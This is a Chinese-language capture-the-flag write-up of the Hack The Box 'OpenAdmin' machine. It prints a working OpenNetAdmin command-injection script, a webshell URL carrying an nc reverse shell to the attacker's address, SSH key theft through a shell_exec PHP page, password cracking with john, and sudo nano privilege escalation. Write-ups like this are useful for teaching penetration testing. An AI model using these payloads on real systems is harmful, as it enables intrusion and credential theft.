Hackthebox_OpenAdmin

  • 2020 年 3 月 10 日
  • 筆記

大家好,今天給大家帶來的CTF挑戰靶機是來自hackthebox的「OpenAdmin」,hackthebox是一個非常不錯的在線實驗平台,能幫助你提升滲透測試技能和黑盒測試技能,平台上有很多靶機,從易到難,各個級別的靶機都有。本級靶機難度為簡單級別,任務是找到靶機上的user.txt和root.txt。

攻略要點:

opennetadmin RCE getshell

jimmy ssh密碼竊取 & joanna ssh密鑰竊取

nano獲得 root flag

資訊收集:

nmap 掃出了 22 , 80 埠

查看80埠

用gobuster掃描目標url,並且發現了 artwork/ 和 music/

opennetadmin後台泄露 & RCE

發現 music/ 頁面下的登錄按鈕跳轉後台,用戶為 guest

發現使用的是 opennetadmin 後台

使用searchsploit找到相關的RCE漏洞

[47691.sh](https://www.exploit-db.com/exploits/47691)

root@localhost:~/hackthebox_workspace/finish/Openadmin# cat pwn.sh  #!/bin/bash    URL="${1}"  while true;do   echo -n "$ "; read cmd   curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo "BEGIN";${cmd};echo "END"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1  done    

Getshell:

root@localhost:~/hackthebox_workspace/finish/Openadmin# ./pwn.sh http://10.10.10.171/ona/login.php  $ pwd  /opt/ona/www

jimmy 密碼泄露

發現這個 shell 只能用於當前路徑

傳 webshell ,並生成 nc 反彈 shell

http://10.10.10.171/ona/xxx.php?0=rm%20/tmp/f%3Bmkfifo%20/tmp/f%3Bcat%20/tmp/f%7C/bin/bash%20-i%202%3E%261%7Cnc%2010.10.xx.xxx%20xxxx%20%3E/tmp/f

拿到 shell 之後枚舉用戶

發現了 jimmy 和 joanna 用戶

在 /opt/ona/www/local/config 文件夾下面找到明文密碼

www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php  cat database_settings.inc.php  <?php    $ona_contexts=array (    'DEFAULT' =>    array (      'databases' =>      array (        0 =>        array (          'db_type' => 'mysqli',          'db_host' => 'localhost',          'db_login' => 'ona_sys',          'db_passwd' => 'n1nj4W4rri0R!',          'db_database' => 'ona_default',          'db_debug' => false,        ),      ),      'description' => 'Default data context',      'context_color' => '#D3DBFF',    ),  );    ?>

ssh嘗試使用密碼登錄 jimmy 和 joanna

發現密碼的用戶為 jimmy

Joanna 密鑰泄露

jimmy 沒有拿 user.txt 的許可權,我們需要拿下 joanna 用戶,在 /var/www/ 下發現了文件夾 internal 的所有者為 joanna

internal/main.php 會輸出 joanna 的 ssh 私鑰

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };  # Open Admin Trusted  # OpenAdmin  $output = shell_exec('cat /home/joanna/.ssh/id_rsa');  echo "<pre>$output</pre>";  ?>  <html>  <h3>Don't forget your "ninja" password</h3>  Click here to logout <a href="logout.php" tite = "Logout">Session  </html> 

查看網路服務

發現一個奇怪的服務埠為 52846

猜測為 main.php 所在的服務,並且隨手訪問一下,獲得私鑰

把私鑰考到 kali 本地,ssh2john 獲取哈希,再利用john 破解哈希獲得密碼

密碼為 bloodninjas

利用私鑰 ssh 登錄為 joanna

得到 user.txt

sudo -l 後得到提示

用 sudo 跑 nano 編輯器可獲取 root 許可權

輸入 ^ + R 讀取 ~/root.txt

手握日月摘星辰,安全路上永不止步。

– Khan攻防安全實驗室